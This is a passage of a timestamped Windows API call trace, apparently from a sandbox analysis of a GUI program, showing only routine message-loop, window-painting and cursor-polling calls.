SetTextColor (hdc=0x55010177, color=0x0) returned 0x0 [0267.309] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.309] SetBkColor (hdc=0x55010177, color=0xf0f0f0) returned 0xffffff [0267.309] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.309] GetCurrentProcessId () returned 0x8d0 [0267.309] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.309] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.309] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.309] GetCurrentProcessId () returned 0x8d0 [0267.310] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.310] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.310] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0267.310] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0267.310] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0267.310] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.311] FillRect (hDC=0x5010b6c, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.311] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x5010b6c, lParam=0x4) returned 0x0 [0267.311] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x5010b6c, lParam=0x1034a) returned 0xe100186 [0267.311] GetSysColor (nIndex=8) returned 0x0 [0267.311] SetTextColor (hdc=0x5010b6c, color=0x0) returned 0x0 [0267.311] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.311] SetBkColor (hdc=0x5010b6c, color=0xf0f0f0) returned 0xffffff [0267.311] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.311] GetCurrentProcessId () returned 0x8d0 [0267.311] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.312] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.312] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.312] GetCurrentProcessId () returned 0x8d0 [0267.312] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.312] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.312] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0267.312] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0267.312] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0267.313] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.313] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.313] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.313] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.313] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.313] GetCurrentProcessId () returned 0x8d0 [0267.314] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.314] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.314] GetCapture () returned 0x0 [0267.314] WaitMessage () returned 1 [0267.353] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.353] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.353] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.354] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.354] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.354] WindowFromPoint (Point=0x2e6) returned 0x1034c [0267.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e6) returned 0x1 [0267.354] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.354] GetCurrentProcessId () returned 0x8d0 [0267.354] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.354] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.354] GetCapture () returned 0x0 [0267.354] WaitMessage () returned 1 [0267.369] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.369] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.369] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.369] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.369] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.369] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.369] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.370] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.370] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.370] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.371] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.371] GetCurrentProcessId () returned 0x8d0 [0267.371] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.371] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.371] GetCapture () returned 0x0 [0267.371] WaitMessage () returned 1 [0267.419] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.419] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.419] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.419] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.419] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.420] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.420] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.420] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21b02e8) returned 0x1 [0267.420] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.420] GetCurrentProcessId () returned 0x8d0 [0267.420] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.420] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.420] GetCapture () returned 0x0 [0267.420] WaitMessage () returned 1 [0267.431] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.431] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.431] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.431] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.431] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.431] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.431] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.431] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.432] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.432] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.432] WindowFromPoint (Point=0x2d0) returned 0x1034c [0267.432] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21e02d0) returned 0x1 [0267.432] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.432] GetCurrentProcessId () returned 0x8d0 [0267.432] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.432] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.432] GetCapture () returned 0x0 [0267.432] WaitMessage () returned 1 [0267.478] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.478] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.478] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.478] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.478] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.478] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.478] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.478] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.478] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.478] GetCurrentProcessId () returned 0x8d0 [0267.478] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.478] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.478] GetCapture () returned 0x0 [0267.479] WaitMessage () returned 1 [0267.493] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.493] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.493] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.494] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.494] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.494] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.494] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.494] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.494] WindowFromPoint (Point=0x2ea) returned 0x1034c [0267.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21902ea) returned 0x1 [0267.495] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.495] GetCurrentProcessId () returned 0x8d0 [0267.495] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.495] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.495] GetCapture () returned 0x0 [0267.495] WaitMessage () returned 1 [0267.540] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.540] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.540] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.540] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.541] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.541] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.541] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.541] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.541] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.541] GetCurrentProcessId () returned 0x8d0 [0267.541] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.541] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.541] GetCapture () returned 0x0 [0267.541] WaitMessage () returned 1 [0267.556] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.556] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.556] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.556] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.556] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.556] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.556] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.556] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.556] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.556] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.557] WindowFromPoint (Point=0x2e7) returned 0x1034c [0267.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21902e7) returned 0x1 [0267.557] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.557] GetCurrentProcessId () returned 0x8d0 [0267.557] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.557] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.557] GetCapture () returned 0x0 [0267.557] WaitMessage () returned 1 [0267.587] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.587] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.587] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.587] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.587] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.587] WindowFromPoint (Point=0x2d9) returned 0x1034c [0267.587] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x22102d9) returned 0x1 [0267.587] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.587] GetCurrentProcessId () returned 0x8d0 [0267.588] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.588] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.588] GetCapture () returned 0x0 [0267.588] WaitMessage () returned 1 [0267.602] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.602] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.602] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.603] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.603] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.603] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.603] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.603] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.603] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.603] GetCurrentProcessId () returned 0x8d0 [0267.603] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.603] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.603] GetCapture () returned 0x0 [0267.603] WaitMessage () returned 1 [0267.665] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.666] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.666] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.667] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.669] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.669] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.669] WindowFromPoint (Point=0x2e5) returned 0x1034c [0267.669] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21702e5) returned 0x1 [0267.670] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.670] GetCurrentProcessId () returned 0x8d0 [0267.670] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.670] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.670] GetCapture () returned 0x0 [0267.670] WaitMessage () returned 1 [0268.314] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.314] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.314] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0268.315] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.315] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.315] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.316] IsIconic (hWnd=0xc0060) returned 0 [0268.316] IsIconic (hWnd=0xc0060) returned 0 [0268.316] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0268.316] FillRect (hDC=0x210107d7, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0268.316] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x210107d7, lParam=0x4) returned 0x0 [0268.316] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x210107d7, lParam=0x10340) returned 0xe100186 [0268.316] GetSysColor (nIndex=8) returned 0x0 [0268.317] SetTextColor (hdc=0x210107d7, color=0x0) returned 0x0 [0268.317] GetSysColor (nIndex=15) returned 0xf0f0f0 [0268.317] SetBkColor (hdc=0x210107d7, color=0xf0f0f0) returned 0xffffff [0268.317] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0268.317] GetCurrentProcessId () returned 0x8d0 [0268.317] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0268.317] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0268.317] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0268.317] GetCurrentProcessId () returned 0x8d0 [0268.318] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0268.318] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0268.318] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0268.318] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0268.318] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0268.320] IsIconic (hWnd=0xc0060) returned 0 [0268.320] IsIconic (hWnd=0xc0060) returned 0 [0268.320] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0268.320] FillRect (hDC=0x3b01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0268.320] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3b01069e, lParam=0x4) returned 0x0 [0268.320] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3b01069e, lParam=0x10340) returned 0xe100186 [0268.321] GetSysColor (nIndex=8) returned 0x0 [0268.321] SetTextColor (hdc=0x3b01069e, color=0x0) returned 0x0 [0268.321] GetSysColor (nIndex=15) returned 0xf0f0f0 [0268.321] SetBkColor (hdc=0x3b01069e, color=0xf0f0f0) returned 0xffffff [0268.321] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0268.321] GetCurrentProcessId () returned 0x8d0 [0268.321] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0268.321] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0268.321] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0268.321] GetCurrentProcessId () returned 0x8d0 [0268.321] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0268.321] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0268.321] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0268.321] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0268.322] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0268.322] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.322] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.322] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.322] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0268.322] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.322] GetCurrentProcessId () returned 0x8d0 [0268.322] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.322] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.322] GetCapture () returned 0x0 [0268.323] WaitMessage () returned 1 [0268.382] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.382] TranslateMessage 